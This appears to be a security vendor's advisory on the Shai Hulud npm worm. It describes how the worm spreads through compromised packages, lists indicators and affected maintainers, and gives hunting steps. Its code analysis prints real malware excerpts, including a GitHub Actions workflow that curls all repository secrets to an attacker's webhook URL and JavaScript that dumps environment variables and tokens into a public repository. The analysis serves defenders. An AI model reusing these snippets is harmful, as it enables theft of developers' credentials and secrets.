npm Supply Chain Attack: Shai Hulud Worm Escalates August Nx Compromise

On September 16, 2025, a large-scale npm supply chain attack was discovered, which seems to be linked to the same threat actors behind the August 27 Nx compromise (under ongoing investigation). Dubbed Shai Hulud, this self-propagating worm has infected nearly 40 npm packages, including several from CrowdStrike, by harvesting secrets from CI/CD pipelines and cloud metadata endpoints, exfiltrating them via GitHub repositories and malicious workflows, and publishing them to attacker-controlled webhooks. This represents a significant escalation from the original Nx attack, turning targeted compromise into a fully automated worm affecting the broader npm ecosystem.

What the Malware Does

Shai Hulud is a self-propagating worm with a multi-stage attack strategy. It begins by harvesting secrets from CI/CD environments, environment variables, TruffleHog scans, and cloud metadata endpoints. Once collected, these secrets are exfiltrated in two ways: the worm creates new GitHub repositories named Shai-Hulud containing JSON dumps of sensitive data, and it posts the same data to attacker-controlled webhooks through malicious GitHub Actions workflows.

To propagate itself, Shai Hulud modifies and republishes npm packages under compromised maintainer accounts, allowing the malware to spread automatically across the ecosystem. Finally, the worm amplifies its impact by turning private repositories public and injecting additional workflows to trigger further exfiltration, maximizing both the scale and speed of the compromise.

Indicators of Compromise (IoCs)

Security teams can monitor for the following signs:

• Creation of GitHub repos named Shai-Hulud under maintainer accounts.
  
• Presence of .github/workflows/shai-hulud-workflow.yml.
  
• Suspicious CI/CD activity accessing secrets and posting to unknown webhooks.
  
• Modified npm packages with unexpected postinstall hooks.

These versions were live for approximately two hours before clean versions replaced them.

Why This Matters

• Shai Hulud demonstrates how a single compromise can escalate into a worm affecting hundreds of packages.
  
• The attack exposes credentials, environment secrets, and potentially sensitive configuration across multiple organizations.
  
• Automated propagation increases the speed and scale of the supply chain compromise, impacting many developers in a short period.

Compromised Github accounts

Nearly 40 npm packages are affected, owned by the following maintainers:

• @ahmedhfarag
• @art-ws
• @crowdstrike
• @ctrl
• @hestjs
• @nativescript-community
• @nexe
• @nstudio
• @operato
• @teselagen
• @thangved
• @things-factory
• @tnf-dev
• @ui-ux-gang
• @yoobic

Developers should immediately check lockfiles and deployments for these packages.

Steps for Developers

Security teams can use the following to hunt for compromise:

1. Audit Dependencies: Check package-lock.json or yarn.lock for affected versions.
   
2. Scan CI/CD Pipelines: Identify unusual environment access or secret exfiltration.
   
3. Update Packages: Pin to patched versions released after detection.
   
4. Monitor GitHub Accounts: Look for unexpected repos, workflows, or public repository changes.
   
5. Implement Runtime Monitoring: Detect suspicious network calls or GitHub Actions activity.

Code Analysis

Review of the Shai Hulud malware reveals several key behaviors and coding patterns:

• Obfuscation: The malware uses heavily obfuscated JavaScript to hide its functionality, making static analysis challenging.
  
• Dynamic Package Modification: Lifecycle hooks like postinstall are injected into npm packages to execute the worm on installation.
  
• Environment Awareness: The code contains logic to detect CI/CD environments, cloud metadata endpoints, and existing npm tokens to maximize its impact.
  
• Stealth Techniques: Temporary variables and double-base64 encoding are used to conceal exfiltrated data in both GitHub Actions logs and network requests.
  
• AI-Assisted Development: Some parts of the code suggest the attacker leveraged AI coding tools to generate advanced and efficient payloads, demonstrating how AI can be abused to accelerate complex malware creation.

The initial payload downloads and executes a large bundle.js (≈100k lines) that embeds common SDKs (e.g., aws-sdk, gcp-metadata) and the malicious logic. It spawns TruffleHog and queries cloud metadata endpoints to discover environment variables, tokens, and cloud credentials.

async getLatestRelease() {
                    try {
                        const t = await fetch("https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest");
                        if (!t.ok) throw new Error(`GitHub API request failed: ${t.statusText}`);
                        const r = (await t.json()).tag_name,
                            n = r.replace("v", ""),
                            F = this.mapPlatform(this.systemInfo.platform),
                            te = `trufflehog_${n}_${F}_${this.mapArchitecture(this.systemInfo.architecture)}.tar.gz`;
                        return {
                            version: n,
                            downloadUrl: `https://github.com/trufflesecurity/trufflehog/releases/download/${r}/${te}`,
                            fileName: te
                        }
                    } catch (t) {
                        throw new Error(`Failed to get latest release: ${t}`)
                    }
                }

The malware creates a branch in accessible repositories that drops a GitHub Actions workflow which serializes ${{ toJSON(secrets) }} and POSTs them to an attacker-controlled webhook.site URL.

GITHUB_TOKEN="$1"
API_BASE="https://api.github.com"
BRANCH_NAME="shai-hulud"
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"

FILE_CONTENT=$(cat <<'EOF'
on:
  push:
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
    - name: Data Processing
      run: curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
      env:
        CONTENTS: ${{ toJSON(secrets) }}
EOF
)

It also creates a public GitHub repository named Shai-Hulud and commits a JSON dump containing all collected secrets.

const pe = {
        application: t.getConfig(),
        system: {
            platform: r.platform,
            architecture: r.architecture,
            platformDetailed: r.platformRaw,
            architectureDetailed: r.archRaw
        },
        runtime: n,
        environment: process.env,
        modules: {
            github: {
                authenticated: F.isAuthenticated(),
                token: F.getCurrentToken()
            },
            aws: {
                secrets: ue
            },
            gcp: {
                secrets: de
            },
            truffleHog: le,
            npm: {
                token: oe,
                authenticated: ae,
                username: se
            }
        }
    };
    F.isAuthenticated() && await F.makeRepo("Shai-Hulud", (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe)), (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0)
}

How Upwind Protects You

• Advanced dependency scanning to automatically identify and flag vulnerable package version
• With Upwind sensor runtime protection, suspicious downloads and network actions are identified in real time
• Applied behavioral analytics to uncover obfuscated scripts and unusual client-side activity that might indicate a compromise
• Risk prioritization to ensure that security teams can focus their attention on the most critical vulnerabilities and attacks.

For support in identifying compromised packages, reach out to [email protected].

You can find the full list of affected packages below: